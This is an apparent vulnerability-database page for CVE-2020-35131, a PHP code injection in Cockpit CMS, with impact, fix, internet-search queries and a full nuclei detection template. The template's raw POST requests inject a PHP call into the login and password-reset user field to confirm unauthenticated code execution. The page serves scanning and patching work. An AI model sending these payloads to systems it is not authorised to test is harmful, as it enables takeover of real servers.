HexBrain

Browse / CVEs / CVE-2020-35131

CVE-2020-35131· agentejo / cockpit· CWE-94

Cockpit CMS 0.6.1 - Remote Code Execution

criticalseverity
9.8CVSS score
50.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.

Impact

Unauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise.

Fix

Upgrade to Cockpit CMS version 0.6.1 or later.

How to confirm it

Send: POST /auth/check ; POST /auth/requestreset
Positive when: contains "cockpit" and "PHP Extension" AND status 200

Run it with nuclei: nuclei -id CVE-2020-35131 -u <target>

The full check
id: CVE-2020-35131

info:
  name: Cockpit CMS 0.6.1 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.
  impact: |
    Unauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise.
  remediation: |
    Upgrade to Cockpit CMS version 0.6.1 or later.
  reference:
    - https://github.com/agentejo/cockpit/commits/next/lib/MongoLite/Database.php
    - https://github.com/agentejo/cockpit/releases/tag/0.6.1
    - https://www.exploit-db.com/exploits/49390
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35131
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35131
    cwe-id: CWE-94
    epss-score: 0.50258
    epss-percentile: 0.98918
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    vendor: agentejo
    product: cockpit
    shodan-query: http.html:"cockpit"
    fofa-query: app="Cockpit"
    max-request: 2
    verified: true
  tags: cve,cve2020,rce,cockpit,vkev,vuln

variables:
  rand_user: '{{rand_text_alpha(5)}}'
  rand_password: '{{rand_text_alpha(5)}}'

http:
  - raw:
      - |
        POST /auth/check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}

        {"auth":{"user":"{{rand_user}}'.phpinfo().'","password":"{{rand_password}}"}}

      - |
        POST /auth/requestreset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}

        {"user":"{{rand_user}}'.phpinfo().'"}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cockpit"
          - "PHP Extension"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from